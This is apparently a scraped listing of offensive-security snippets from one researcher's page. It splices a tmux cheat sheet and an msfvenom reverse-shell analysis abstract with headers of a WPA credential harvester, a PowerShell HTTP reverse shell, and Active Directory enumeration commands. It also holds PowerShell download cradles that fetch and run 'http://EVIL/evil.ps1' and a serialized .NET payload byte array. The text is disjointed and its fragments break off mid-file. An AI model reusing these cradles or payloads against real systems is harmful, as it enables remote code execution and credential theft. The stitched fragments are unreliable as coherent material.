Abhineet Jayaraj interference-security

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000

http://www.mechanicalkeys.com/files/os/notes/tm.html

The formatting here is simple enough to understand (I would hope). ^ means ctrl+, so ^x is ctrl+x. M- means meta (generally left-alt or escape)+, so M-x is left-alt+x

It should be noted that this is no where near a full feature-set of either group. This - being a cheat-sheet - is just to point out the most very basic features to get you on the road.

Action	tmux	screen
start a new session	tmux ORtmux new ORtmux new-session	screen
re-attach a detached session	tmux attach ORtmux attach-session	screen -r

Looking for `WaitForSingleObject` call within modern msfvenom generated payload.

Abstract

This is a document explaining how to locate WaitForSingleObject(..., INFINITE) within msfvenom's (4.12.23-dev) generated payload and how to fix the payload's glitches. It goes through the analysis of a windows/shell_reverse_tcp payload, touching issues like stack alignment, WaitForSingleObject locating & patching. It has been written when I realised there are many topics on the Offensive-Security OSCE/CTP forums touching problem of finding this particular Windows API. Since RE is one of my stronger FU's I decided to write down my explanation of the subject.

Contents:

	#!/usr/bin/env python
	# Reflects the requests from HTTP methods GET, POST, PUT, and DELETE
	# Written by Nathan Hamiel (2010)

	from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
	from optparse import OptionParser

	class RequestHandler(BaseHTTPRequestHandler):

	def do_GET(self):

	#!/usr/bin/python

	#crEAP is a utility which will identify WPA Enterprise Mode Encryption types and if
	#insecure protocols are in use, crEAP will harvest Radius usernames and handshakes.

	#Author: Snizz

	#Requirements: Should be run as root/sudo.
	#
	# Python Scapy Community (scapy-com) - Dev version of Scapy which supports additional

	<#

	Author: Casey Smith @subTee

	License: BSD3-Clause

	.SYNOPSIS

	Simple Reverse Shell over HTTP. Execute Commands on Client.

	# get all the groups a user is effectively a member of, 'recursing up'
	Get-NetGroup -UserName <USER>

	# get all the effective members of a group, 'recursing down'
	Get-NetGroupMember -GoupName <GROUP> -Recurse

	# get the effective set of users who can administer a server
	Get-NetLocalGroup -Recurse SERVER.domain.local

	# retrieve all the computers a GPP password applies to

	# normal download cradle
	IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

	# PowerShell 3.0+
	IEX (iwr 'http://EVIL/evil.ps1')

	# hidden IE com object
	$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

	# Msxml2.XMLHTTP COM object

	using System;
	using System.Net;
	using System.Diagnostics;
	using System.Reflection;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;

	/*
	Author: Casey Smith, Twitter: @subTee
	License: BSD 3-Clause


	var serialized_obj = [
	0,1,0,0,0,255,255,255,255,1,0,0,0,0,0,0,0,4,1,0,0,0,34,83,121,115,116,101,109,46,68,101,108,
	101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,3,0,0,0,8,68,101,108,
	101,103,97,116,101,7,116,97,114,103,101,116,48,7,109,101,116,104,111,100,48,3,3,3,48,83,121,115,116,101,109,46,
	68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,43,68,101,108,101,
	103,97,116,101,69,110,116,114,121,34,83,121,115,116,101,109,46,68,101,108,101,103,97,116,101,83,101,114,105,97,108,105,
	122,97,116,105,111,110,72,111,108,100,101,114,47,83,121,115,116,101,109,46,82,101,102,108,101,99,116,105,111,110,46,77,
	101,109,98,101,114,73,110,102,111,83,101,114,105,97,108,105,122,97,116,105,111,110,72,111,108,100,101,114,9,2,0,0,

Abhineet Jayaraj interference-security

Python 2.x

Looking for WaitForSingleObject call within modern msfvenom generated payload.

Looking for `WaitForSingleObject` call within modern msfvenom generated payload.